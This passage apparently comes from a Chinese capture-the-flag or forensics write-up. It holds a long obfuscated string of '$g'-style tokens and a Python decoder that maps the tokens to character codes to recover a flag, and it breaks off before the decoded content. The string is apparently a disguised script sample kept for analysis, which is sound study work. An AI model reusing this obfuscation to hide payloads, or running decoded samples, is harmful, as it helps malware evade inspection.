+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$o+$g$b$u$b+$g$l$d+$g$i$x+$g$o$l+$g$e$b+$g$b$u$i+$g$e$x+$g$d$q+$g$e$i+$g$d$d+$g$l$d+$g$d$q+$g$d$e+$g$x$o+$g$o$l+$g$e$i+$g$z$x+$g$b$b$x+$g$l$d+$g$b$b$q+$g$e$q+$g$e$z+$g$b$b$d+$g$b$u$o+$g$b$u$d+$g$b$b$u+$g$e$b+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i&quot;</span>  <span class="comment"># 最后一部分</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 分割并解码</span></span><br><span class="line">tokens = encoded_str.split(<span class="string">&#x27;+&#x27;</span>)</span><br><span class="line">decoded_chars = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> token <span class="keyword">in</span> tokens:</span><br><span class="line">    <span class="comment"># 移除开头的&quot;$g&quot;并分割变量</span></span><br><span class="line">    parts = token.replace(<span class="string">&#x27;$g&#x27;</span>, <span class="string">&#x27;&#x27;</span>).split(<span class="string">&#x27;$&#x27;</span>)[<span class="number">1</span>:]</span><br><span class="line">    <span class="comment"># 拼接数字字符串</span></span><br><span class="line">    num_str = <span class="string">&#x27;&#x27;</span>.join(var_map[p] <span class="keyword">for</span> p <span class="keyword">in</span> parts <span class="keyword">if</span> p <span class="keyword">in</span> var_map)</span><br><span class="line">    <span class="keyword">if</span> num_str:</span><br><span class="line">        <span class="comment"># 转换为ASCII字符</span></span><br><span class="line">        char_code = <span class="built_in">int</span>(num_str)</span><br><span class="line">        decoded_chars.append(<span class="built_in">chr</span>(char_code))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出结果</span></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span>.join(decoded_chars)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>解析出下面内容，有flag 